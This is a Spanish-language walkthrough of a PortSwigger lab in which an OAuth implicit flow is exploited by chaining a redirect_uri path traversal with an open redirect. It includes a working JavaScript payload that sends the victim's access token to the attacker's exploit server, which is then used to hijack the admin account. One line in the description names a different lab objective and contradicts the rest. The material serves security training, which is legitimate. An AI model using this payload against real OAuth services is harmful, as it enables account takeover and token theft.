Stealing OAuth access tokens via an open redirect
Laboratorio de Portswigger sobre OAuth
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio utiliza un servicio OAuth para permitir que los usuarios inicien sesión con su cuenta de redes sociales. Una validación defectuosa por parte del servicio OAuth hace posible que un atacante filtre tokens de acceso hacia páginas arbitrarias en la aplicación cliente
Para resolver el laboratorio, debemos identificar un open redirect en el sitio web y usarla para robar un token de acceso de la cuenta del usuario admin. Luego, debemos usar el token de acceso para obtener la clave API del administrador y enviar la solución utilizando el botón proporcionado en el banner del laboratorio
Para resolver el laboratorio, debemos robar un código de autorización asociado al usuario admin, usarlo para acceder a su cuenta y eliminar al usuario carlos
El usuario admin abrirá cualquier cosa que enviemos desde el servidor de explotación y siempre tiene una sesión activa con el servicio OAuth. Podemos iniciar sesión con nuestra propia cuenta de redes sociales utilizando las credenciales wiener:peter
Guía de vulnerabilidades de OAuth
Antes de completar este laboratorio es recomendable leerse esta guía de vulnerabilidades de OAuth https://justice-reaper.github.io/posts/OAuth-Vulnerabilities-Guide/
Resolución
Al acceder a la web vemos esto
Si pulsamos sobre View post vemos que podemos comentar en el post
Si pulsamos sobre My account nos redirige al panel de login
No logueamos con las credenciales wiener:peter
Posteriormente nos redirige a esta otra ventana donde nos solicita permiso para acceder a nuestro perfil e email
Si hemos iniciado sesión correctamente nos saldrá este mensaje al final
Si accedemos a My account veremos nuestro username, nuestro email y nuestra API Key pero oculta
Si nos dirigimos a la extensión Logger ++ de Burpsuite vemos todo el flujo de peticiones
Podemos determinar el grant type observando la petición a /auth. En este caso el parámetro response_type tiene el valor token lo cual quiere decir que estamos ante un implicit grant type. Además de esto también podemos ver el nombre de host del servidor de autorización, en este caso es 0aa200df04b772bf80a5030300d90002.web-security-academy.net
Si nos fijamos bien el access_token que obtenemos es el token Bearer que utilizamos al realizar la petición al endpoint /me para obtener los datos de nuestro usuario
He intentado reemplazar el redirect_uri con nuestro domino de Burpsuite Collaborator pero no ha dado resultado y nos ha devuelto un 400 Bad Request
1
/auth?client_id=vo9u2pwawi2repjyjf7vh&redirect_uri=https://wjjpjasy2f9kk4accv65927r3i99xzlo.oastify.com&response_type=token&nonce=-586290821&scope=openid%20profile%20email
He intentado bypassear el dominio https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/oauth-callback y hacer que la redirección se haga a mi dominio de Burpsuite Collaborator pero tampoco ha dado resultado
1
/auth?client_id=vo9u2pwawi2repjyjf7vh&redirect_uri=https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/oauth-callback@https://wjjpjasy2f9kk4accv65927r3i99xzlo.oastify.com&response_type=token&nonce=-586290821&scope=openid%20profile%20email
He intentado llevar a cabo un parameter pollution añadiendo redirect_uri=https://wjjpjasy2f9kk4accv65927r3i99xzlo.oastify.com al final de la URL pero no ha funcionado
1
/auth?client_id=vo9u2pwawi2repjyjf7vh&redirect_uri=https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/oauth-callback&response_type=token&nonce=-586290821&scope=openid%20profile%20email&redirect_uri=https://wjjpjasy2f9kk4accv65927r3i99xzlo.oastify.com
He probado un path traversal y en este caso sí ha funcionado
1
/auth?client_id=vo9u2pwawi2repjyjf7vh&redirect_uri=https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/oauth-callback/../&response_type=token&nonce=-586290821&scope=openid%20profile%20email
Podemos ver como si no hacemos el path traversal nos redirige a https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/oauth-callback#access_token=7_zqOzYjOwqjx9p4q89vMQ1OerjxHZNZQknryzCZeLs&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email
Sin embargo, si efectuamos el path traversal nos redirige a https://0aa200df04b772bf80a5030300d90002.web-security-academy.net/#access_token=VS0YNG681SR-PwP8nn2hBp5ptfo8KmfunnG3Qpq1C9W&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email
Tenemos el path traversal pero tenemos que combinarlo con un open redirect para que nos envíe el access_token a nuestro servidor. He he dado cuenta que si pulsamos sobre View post > next page nos muestra una ruta interesante
Si capturamos la petición con Burpsuite y como path ponemos nuestro dominio de Burpsuite Collaborator vemos que funciona
Ahora que tenemos un path traversal y un open redirect, podemos combinar ambas vulnerabilidades para obtener el access_token en nuestro servidor. Para ello, nos dirigimos al Exploit server y construimos este payload
1
2
3
4
5
6
7
<script>
if (!document.location.hash) {
window.location.replace('https://oauth-0ae9004f04e1c6638185ddac0230000f.oauth-server.net/auth?client_id=q2q7kc9umvpf7hxambobn&redirect_uri=https://0a8400660405c6888116dfdf00be0038.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a35002e0433c6b6813cde6b01a300cb.exploit-server.net/exploit&response_type=token&nonce=-1397029964&scope=openid%20profile%20email');
} else {
window.location = '/?pwned='+document.location.hash.substr(1);
}
</script>
Una vez hecho esto pulsamos sobre Deliver exploit to victim y posteriormente en Access log
Una vez tenemos el access_token lo sustituimos en la cabecera Authorization
Si queremos acceder a la cuenta de administrador debemos copiarnos el nombre de usuario, el access_token y el email
Pulsamos click derecho > Request in browser > In original session
Copiamos la URL en el navegador y ya podemos acceder a la cuenta del usuario administrador
Para resolver el laboratorio tenemos pulsar sobre Submit solution y pegar ahí la apiKey





















